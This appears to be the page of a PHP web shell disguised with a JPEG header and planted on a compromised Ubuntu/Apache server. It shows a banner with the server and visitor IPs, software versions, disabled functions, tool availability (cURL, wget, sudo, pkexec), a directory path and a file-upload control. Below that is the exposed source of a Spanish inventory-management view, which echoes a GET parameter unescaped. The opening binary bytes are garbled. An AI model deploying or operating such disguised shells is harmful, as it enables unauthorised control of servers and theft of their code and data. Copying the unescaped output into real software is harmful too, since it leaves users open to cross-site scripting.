����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.224.136.160 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/t/sae/appsae/core/app/view/ |
Upload File : |
<?php $stock_id = $_SESSION['stock_id']; $stock = StockData::getByid($stock_id); if(isset($_GET["category_id"])){ $category_id = $_GET["category_id"]; $products = ProductData::getAllByCategoryId($category_id); }else{ $category_id = 2; $products = ProductData::getAllByCategoryId($category_id); } $categorys=CategoryData::getAll(); ?> <section class="content"> <div class="row"> <div class="col-md-12"> <!-- Single button --> <div class="btn-group pull-right"> <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown"> <i class="fa fa-download"></i> Descargar <span class="caret"></span> </button> <ul class="dropdown-menu" role="menu"> <li><a href="report/inventary-word.php?stock_id=<?php echo $stock->id; ?>">Word 2007 (.docx)</a></li> <li><a href="report/inventary-xlsx.php?stock_id=<?php echo $stock->id; ?>">Excel 2007 (.xlsx)</a></li> <li><a onclick="thePDF()" id="makepdf" class="">PDF (.pdf)(En contruccion)</a> </ul> </div> <h1><i class="glyphicon glyphicon-stats"></i> Inventario <small><?php echo $stock->name; ?></small></h1> <ol class="breadcrumb"> <li><a href="./?view=home">Inicio</a></li> <li><a href="./?view=stocks">Almacenes</a></li> <li><a href="./?view=inventaryNeg&stock=<?php echo $stock->id; ?>"><?php echo $stock->name;?></a></li> <?php foreach($categorys as $category):?> <li><a href="./?view=inventaryNeg&stock=<?php echo $stock->id; ?>&category_id=<?php echo $category->id; ?>"><?php echo $category->name; ?></a></li> <?php endforeach;?> </ol> <?php if(count($products)>0){ ?> <div class="clearfix"></div> <div class="box"> <div class="box-header"> <h3 class="box-title">Inventario Productos Por Categoria <u></u></h3> </div><!-- /.box-header --> <div class="box-body"> <table class="table table-bordered datatable table-hover"> <thead> <th>Codigo</th> <th>Nombre</th> <th>Precio Publico</th> <th>Existencia</th> <th></th> </thead> <?php $i = 0; ?> <?php foreach($products as $product): //compras $itotal2 = OperationData2::GetInputQByStock($product->id, $stock_id); //ordenes de compra $itotal_O = OperationData2::getBySumOC($product->barcode, $stock_id); //Total de entradas $entradas = $itotal2 + $itotal_O['0']->sum; //ventas en tabla t_sale_detail $vendedores = UserData::getByIdStock($stock_id); //print_r($vendedores); $totalV=0; foreach($vendedores as $vendedor){ //ventas en tabla t_sale_detail por almacen $operations3 = OperationData::getByc2OK($product->barcode, $vendedor->id_user); foreach($operations3 as $op) { $totalV = $totalV + $op->qty; } } //ajuste salida $totalAjusteS = -1*OperationData2::getOutputQByStock($product->id, $stock_id); //devoluciones de tabla operations $operations4 = OperationData::getAllByProductIdAndStockDev($product->id, $stock_id); $totalDev=0; foreach($operations4 as $op2) { $totalDev = $totalDev + $op2->q; } //existencia $existencia = ($entradas - $totalV + $totalDev) + $totalAjusteS; ?> <?php if($existencia <= 0): ?> <tr class="<?php echo "warning";?>"> <td><?php echo $product->barcode; ?></td> <td><?php echo $product->name; ?></td> <td><?php echo number_format($product->price_out,2); ?></td> <td><?php echo number_format($existencia,2); ?></td> <td style="width:93px;"> <a href="index.php?view=history&product_id=<?php echo $product->id; ?>&stock=<?php echo $_GET["stock"];?>" class="btn btn-xs btn-success"><i class="glyphicon glyphicon-time"></i> Historial</a> <a href="index.php?view=re&product=<?php echo $product->id; ?>" class="btn btn-xs btn-info"><i class="glyphicon glyphicon-time"></i>Abastecer</a> </td> </tr> <?php endif;?> <?php endforeach; ?> </table> </div><!-- /.box-body --> </div><!-- /.box --> <div class="clearfix"></div> <?php }else{ ?> <div class="jumbotron"> <h2>No hay productos</h2> <p>No se han agregado productos a la base de datos, puedes agregar uno dando click en el boton <b>"Agregar Producto"</b>.</p> </div> <?php } ?> <br><br><br><br> </div> </div> </section>